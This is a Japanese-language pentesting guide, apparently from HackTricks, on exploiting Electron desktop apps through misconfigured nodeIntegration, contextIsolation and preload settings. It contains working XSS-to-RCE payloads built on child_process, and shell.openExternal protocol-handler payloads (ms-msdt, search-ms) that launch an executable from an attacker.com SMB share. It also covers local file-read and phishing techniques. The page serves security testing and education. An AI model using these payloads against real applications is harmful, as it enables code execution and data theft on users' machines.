24 KiB
Electron Desktop Apps
{{#include ../../../banners/hacktricks-training.md}}
Introduction
Electronは、ローカルバックエンド(NodeJS)とフロントエンド(Chromium)を組み合わせていますが、最新のブラウザのセキュリティメカニズムのいくつかが欠けています。
通常、Electronアプリのコードは.asarアプリケーション内に見つかります。コードを取得するには、抽出する必要があります:
npx asar extract app.asar destfolder #Extract everything
npx asar extract-file app.asar main.js #Extract just a file
Electronアプリのソースコード内のpacket.jsonには、セキュリティ設定が行われているmain.jsファイルが指定されています。
{
"name": "standard-notes",
"main": "./app/index.js",
Electronには2つのプロセスタイプがあります:
- メインプロセス(NodeJSへの完全なアクセス権を持つ)
- レンダラープロセス(セキュリティ上の理由からNodeJSへのアクセスが制限されるべき)
レンダラープロセスは、ファイルを読み込むブラウザウィンドウになります:
const { BrowserWindow } = require("electron")
let win = new BrowserWindow()
//Open Renderer Process
win.loadURL(`file://path/to/index.html`)
renderer processの設定は、main.jsファイル内のmain processで設定できます。いくつかの設定は、設定が正しく構成されている場合、ElectronアプリケーションがRCEやその他の脆弱性を持つのを防ぐことができます。
Electronアプリケーションは、Node APIを介してデバイスにアクセスすることができますが、それを防ぐように構成することもできます:
nodeIntegration- デフォルトではoffです。オンの場合、renderer processからNode機能にアクセスできます。contextIsolation- デフォルトではonです。オフの場合、mainとrendererプロセスは隔離されません。preload- デフォルトでは空です。sandbox- デフォルトではオフです。NodeJSが実行できるアクションを制限します。- WorkersにおけるNode Integration
nodeIntegrationInSubframes- デフォルトではoffです。nodeIntegrationが有効になっている場合、これはElectronアプリケーション内のiframeで読み込まれたウェブページでNode.js APIsを使用することを許可します。nodeIntegrationが無効になっている場合、preloadはiframe内で読み込まれます。
設定の例:
const mainWindowOptions = {
title: "Discord",
backgroundColor: getBackgroundColor(),
width: DEFAULT_WIDTH,
height: DEFAULT_HEIGHT,
minWidth: MIN_WIDTH,
minHeight: MIN_HEIGHT,
transparent: false,
frame: false,
resizable: true,
show: isVisible,
webPreferences: {
blinkFeatures: "EnumerateDevices,AudioOutputDevices",
nodeIntegration: false,
contextIsolation: false,
sandbox: false,
nodeIntegrationInSubFrames: false,
preload: _path2.default.join(__dirname, "mainScreenPreload.js"),
nativeWindowOpen: true,
enableRemoteModule: false,
spellcheck: true,
},
}
いくつかの RCEペイロード は here から:
Example Payloads (Windows):
<img
src="x"
onerror="alert(require('child_process').execSync('calc').toString());" />
Example Payloads (Linux & MacOS):
<img
src="x"
onerror="alert(require('child_process').execSync('gnome-calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('id').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('ls -l').toString());" />
<img
src="x"
onerror="alert(require('child_process').execSync('uname -a').toString());" />
トラフィックのキャプチャ
start-main構成を変更し、次のようなプロキシの使用を追加します:
"start-main": "electron ./dist/main/main.js --proxy-server=127.0.0.1:8080 --ignore-certificateerrors",
Electron Local Code Injection
Electronアプリをローカルで実行できる場合、任意のJavaScriptコードを実行させることが可能です。方法は以下を確認してください:
{{#ref}} ../../../macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-electron-applications-injection.md {{#endref}}
RCE: XSS + nodeIntegration
nodeIntegrationがonに設定されている場合、ウェブページのJavaScriptはrequire()を呼び出すだけでNode.jsの機能を簡単に使用できます。例えば、Windowsでcalcアプリケーションを実行する方法は次の通りです:
<script>
require("child_process").exec("calc")
// or
top.require("child_process").exec("open /System/Applications/Calculator.app")
</script>

RCE: preload
この設定で示されたスクリプトは、レンダラー内の他のスクリプトの前に読み込まれ、したがってNode APIへの無制限のアクセスを持ちます:
new BrowserWindow{
webPreferences: {
nodeIntegration: false,
preload: _path2.default.join(__dirname, 'perload.js'),
}
});
したがって、スクリプトはnode-featuresをページにエクスポートできます:
typeof require === "function"
window.runCalc = function () {
require("child_process").exec("calc")
}
<body>
<script>
typeof require === "undefined"
runCalc()
</script>
</body>
[!NOTE] >
contextIsolationがオンの場合、これは機能しません
RCE: XSS + contextIsolation
contextIsolation は、ウェブページのスクリプトとJavaScript Electronの内部コードの間に分離されたコンテキストを導入し、各コードのJavaScript実行が互いに影響を与えないようにします。これはRCEの可能性を排除するために必要な機能です。
コンテキストが分離されていない場合、攻撃者は以下のことができます:
- レンダラーで任意のJavaScriptを実行(XSSまたは外部サイトへのナビゲーション)
- プリロードまたはElectron内部コードで使用される組み込みメソッドを上書きして独自の関数にする
- 上書きされた関数の使用をトリガー
- RCE?
組み込みメソッドを上書きできる場所は2つあります:プリロードコードまたはElectron内部コード:
{{#ref}} electron-contextisolation-rce-via-preload-code.md {{#endref}}
{{#ref}} electron-contextisolation-rce-via-electron-internal-code.md {{#endref}}
{{#ref}} electron-contextisolation-rce-via-ipc.md {{#endref}}
クリックイベントのバイパス
リンクをクリックする際に制限が適用されている場合、通常の左クリックの代わりにミドルクリックを行うことでそれをバイパスできるかもしれません。
window.addEventListener('click', (e) => {
RCE via shell.openExternal
この例に関する詳細は、https://shabarkin.medium.com/1-click-rce-in-electron-applications-79b52e1fe8b8 と https://benjamin-altpeter.de/shell-openexternal-dangers/ を確認してください。
Electronデスクトップアプリケーションを展開する際には、nodeIntegration と contextIsolation の設定が正しいことを確認することが重要です。クライアント側のリモートコード実行 (RCE) がプリロードスクリプトやメインプロセスからのElectronのネイティブコードをターゲットにする場合、これらの設定が整っていれば効果的に防止されることが確立されています。
ユーザーがリンクと対話したり新しいウィンドウを開いたりすると、特定のイベントリスナーがトリガーされ、アプリケーションのセキュリティと機能にとって重要です:
webContents.on("new-window", function (event, url, disposition, options) {}
webContents.on("will-navigate", function (event, url) {}
これらのリスナーはデスクトップアプリケーションによってオーバーライドされ、独自のビジネスロジックを実装します。アプリケーションは、ナビゲートされたリンクを内部で開くべきか、外部のウェブブラウザで開くべきかを評価します。この決定は通常、openInternallyという関数を通じて行われます。この関数がfalseを返す場合、リンクは外部で開くべきであることを示し、shell.openExternal関数を利用します。
以下は簡略化された擬似コードです:
Electron JSのセキュリティベストプラクティスは、openExternal関数で信頼できないコンテンツを受け入れることを避けるように助言しています。これは、さまざまなプロトコルを通じてRCEを引き起こす可能性があります。オペレーティングシステムは、RCEを引き起こす可能性のある異なるプロトコルをサポートしています。このトピックに関する詳細な例やさらなる説明については、このリソースを参照してください。ここには、この脆弱性を悪用できるWindowsプロトコルの例が含まれています。
macOSでは、openExternal関数を悪用して、shell.openExternal('file:///System/Applications/Calculator.app')のように任意のコマンドを実行できます。
Windowsプロトコルの悪用の例には:
<script>
window.open(
"ms-msdt:id%20PCWDiagnostic%20%2Fmoreoptions%20false%20%2Fskip%20true%20%2Fparam%20IT_BrowseForFile%3D%22%5Cattacker.comsmb_sharemalicious_executable.exe%22%20%2Fparam%20IT_SelectProgram%3D%22NotListed%22%20%2Fparam%20IT_AutoTroubleshoot%3D%22ts_AUTO%22"
)
</script>
<script>
window.open(
"search-ms:query=malicious_executable.exe&crumb=location:%5C%5Cattacker.com%5Csmb_share%5Ctools&displayname=Important%20update"
)
</script>
<script>
window.open(
"ms-officecmd:%7B%22id%22:3,%22LocalProviders.LaunchOfficeAppForResult%22:%7B%22details%22:%7B%22appId%22:5,%22name%22:%22Teams%22,%22discovered%22:%7B%22command%22:%22teams.exe%22,%22uri%22:%22msteams%22%7D%7D,%22filename%22:%22a:/b/%2520--disable-gpu-sandbox%2520--gpu-launcher=%22C:%5CWindows%5CSystem32%5Ccmd%2520/c%2520ping%252016843009%2520&&%2520%22%22%7D%7D"
)
</script>
内部ファイルの読み取り: XSS + contextIsolation
contextIsolationを無効にすると、ローカルファイルを読み取るために<webview>タグを使用できるようになります。これは<iframe>に似ています。この脆弱性を利用して内部ファイルの内容を読み取る方法の例が示されています:
さらに、内部ファイルを読み取るための別の方法が共有されており、Electronデスクトップアプリにおける重要なローカルファイル読み取りの脆弱性が強調されています。これには、アプリケーションを悪用してデータを抽出するためのスクリプトを注入することが含まれます:
<br /><br /><br /><br />
<h1>
pwn<br />
<iframe onload="j()" src="/etc/hosts">xssxsxxsxs</iframe>
<script type="text/javascript">
function j() {
alert(
"pwned contents of /etc/hosts :\n\n " +
frames[0].document.body.innerText
)
}
</script>
</h1>
RCE: XSS + Old Chromium
アプリケーションで使用されているchromiumが古い場合、既知の****脆弱性があると、XSSを通じてそれを悪用しRCEを取得することが可能かもしれません。
このwriteupの例を参照してください: https://blog.electrovolt.io/posts/discord-rce/
XSS Phishing via Internal URL regex bypass
XSSを見つけたが、RCEをトリガーできないか内部ファイルを盗むことができない場合、フィッシングを通じて資格情報を盗むためにそれを使用することを試みることができます。
まず最初に、新しいURLを開こうとしたときに何が起こるかを知る必要があります。フロントエンドのJSコードを確認してください:
webContents.on("new-window", function (event, url, disposition, options) {} // opens the custom openInternally function (it is declared below)
webContents.on("will-navigate", function (event, url) {} // opens the custom openInternally function (it is declared below)
openInternallyへの呼び出しは、リンクがプラットフォームに属するリンクであるため、デスクトップウィンドウで開かれるか、ブラウザで3rdパーティリソースとして開かれるかを決定します。
関数で使用されるregexがバイパスに対して脆弱な場合(例えば、サブドメインのドットをエスケープしていない場合)、攻撃者はXSSを悪用して、攻撃者のインフラストラクチャに位置する新しいウィンドウを開き、ユーザーに認証情報を要求することができます。
<script>
window.open("<http://subdomainagoogleq.com/index.html>")
</script>
リモートモジュール
Electronのリモートモジュールは、レンダラープロセスがメインプロセスのAPIにアクセスすることを可能にし、Electronアプリケーション内での通信を促進します。しかし、このモジュールを有効にすると、重大なセキュリティリスクが生じます。アプリケーションの攻撃面が拡大し、クロスサイトスクリプティング(XSS)攻撃などの脆弱性に対してより脆弱になります。
Tip
リモートモジュールはメインからレンダラープロセスへのいくつかのAPIを公開しますが、コンポーネントを悪用するだけではRCEを得るのは簡単ではありません。しかし、コンポーネントは機密情報を公開する可能性があります。
Warning
まだリモートモジュールを使用している多くのアプリは、レンダラープロセスでNodeIntegrationを有効にする必要がある方法で行っており、これは巨大なセキュリティリスクです。
Electron 14以降、Electronのremoteモジュールは、セキュリティとパフォーマンスの理由からいくつかのステップで有効にされる可能性があり、使用しないことが推奨されています。
それを有効にするには、まずメインプロセスで有効にする必要があります:
const remoteMain = require('@electron/remote/main')
remoteMain.initialize()
[...]
function createMainWindow() {
mainWindow = new BrowserWindow({
[...]
})
remoteMain.enable(mainWindow.webContents)
その後、レンダラープロセスはモジュールからオブジェクトをインポートできます。
import { dialog, getCurrentWindow } from '@electron/remote'
ブログ記事 は、リモートモジュールのオブジェクト app によって公開されているいくつかの興味深い 関数 を示しています:
app.relaunch([options])- 現在のインスタンスを終了し、新しいインスタンスを起動することでアプリケーションを再起動します。アプリの更新や重要な状態変更に便利です。
app.setAppLogsPath([path])- アプリログを保存するためのディレクトリを定義または作成します。ログは
app.getPath()またはapp.setPath(pathName, newPath)を使用して取得または変更できます。 app.setAsDefaultProtocolClient(protocol[, path, args])- 指定されたプロトコルのデフォルトハンドラーとして現在の実行可能ファイルを登録します。必要に応じてカスタムパスと引数を提供できます。
app.setUserTasks(tasks)- ジャンプリストのタスクカテゴリにタスクを追加します(Windows)。各タスクはアプリがどのように起動されるか、またはどの引数が渡されるかを制御できます。
app.importCertificate(options, callback)- システムの証明書ストアにPKCS#12証明書をインポートします(Linuxのみ)。コールバックを使用して結果を処理できます。
app.moveToApplicationsFolder([options])- アプリケーションをアプリケーションフォルダに移動します(macOS)。Macユーザーのための標準インストールを確保するのに役立ちます。
app.setJumpList(categories)- Windowsでカスタムジャンプリストを設定または削除します。タスクがユーザーにどのように表示されるかを整理するためにカテゴリを指定できます。
app.setLoginItemSettings(settings)- ログイン時に起動する実行可能ファイルとそのオプションを構成します(macOSおよびWindowsのみ)。
Native.app.relaunch({args: [], execPath: "/System/Applications/Calculator.app/Contents/MacOS/Calculator"});
Native.app.exit()
systemPreferences モジュール
Electron におけるシステム設定にアクセスし、システムイベントを発信するための 主要な API。subscribeNotification、subscribeWorkspaceNotification、getUserDefault、および setUserDefault のようなメソッドはすべてこのモジュールの 一部 です。
使用例:
const { systemPreferences } = require('electron');
// Subscribe to a specific notification
systemPreferences.subscribeNotification('MyCustomNotification', (event, userInfo) => {
console.log('Received custom notification:', userInfo);
});
// Get a user default key from macOS
const recentPlaces = systemPreferences.getUserDefault('NSNavRecentPlaces', 'array');
console.log('Recent Places:', recentPlaces);
subscribeNotification / subscribeWorkspaceNotification
- ネイティブmacOS通知をNSDistributedNotificationCenterを使用してリッスンします。
- macOS Catalina以前は、CFNotificationCenterAddObserverにnilを渡すことですべての分散通知をスニッフィングできました。
- Catalina / Big Sur以降、サンドボックスアプリは、通知を名前で登録することにより、多くのイベント(例えば、画面のロック/ロック解除、ボリュームのマウント、ネットワークアクティビティなど)にサブスクライブできます。
getUserDefault / setUserDefault
-
NSUserDefaultsとインターフェースし、macOS上のアプリケーションまたはグローバルな設定を保存します。
-
getUserDefaultは、最近のファイルの場所やユーザーの地理的位置などの機密情報を取得できます。
-
setUserDefaultは、これらの設定を変更でき、アプリの構成に影響を与える可能性があります。
-
古いElectronバージョン(v8.3.0以前)では、標準スイートのNSUserDefaultsのみがアクセス可能でした。
Shell.showItemInFolder
この関数は、指定されたファイルをファイルマネージャーで表示し、ファイルを自動的に実行する可能性があります。
詳細については、https://blog.doyensec.com/2021/02/16/electron-apis-misuse.htmlを確認してください。
Tools
- Electronegativityは、Electronベースのアプリケーションにおける設定ミスやセキュリティアンチパターンを特定するツールです。
- Electrolintは、Electronegativityを使用するElectronアプリケーション用のオープンソースのVS Codeプラグインです。
- nodejsscanは、脆弱なサードパーティライブラリをチェックします。
- Electro.ng: 購入が必要です。
Labs
https://www.youtube.com/watch?v=xILfQGkLXQo&t=22sでは、脆弱なElectronアプリを悪用するためのラボを見つけることができます。
ラボを手助けするいくつかのコマンド:
# Download apps from these URls
# Vuln to nodeIntegration
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable1.zip
# Vuln to contextIsolation via preload script
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable2.zip
# Vuln to IPC Rce
https://training.7asecurity.com/ma/webinar/desktop-xss-rce/apps/vulnerable3.zip
# Get inside the electron app and check for vulnerabilities
npm audit
# How to use electronegativity
npm install @doyensec/electronegativity -g
electronegativity -i vulnerable1
# Run an application from source code
npm install -g electron
cd vulnerable1
npm install
npm start
参考文献
- https://shabarkin.medium.com/unsafe-content-loading-electron-js-76296b6ac028
- https://medium.com/@renwa/facebook-messenger-desktop-app-arbitrary-file-read-db2374550f6d
- https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en?slide=8
- https://www.youtube.com/watch?v=a-YnG3Mx-Tg
- https://www.youtube.com/watch?v=xILfQGkLXQo&t=22s
- Electronのセキュリティに関するさらなる研究と記事はhttps://github.com/doyensec/awesome-electronjs-hackingで確認できます。
- https://www.youtube.com/watch?v=Tzo8ucHA5xw&list=PLH15HpR5qRsVKcKwvIl-AzGfRqKyx--zq&index=81
- https://blog.doyensec.com/2021/02/16/electron-apis-misuse.html
{{#include ../../../banners/hacktricks-training.md}}



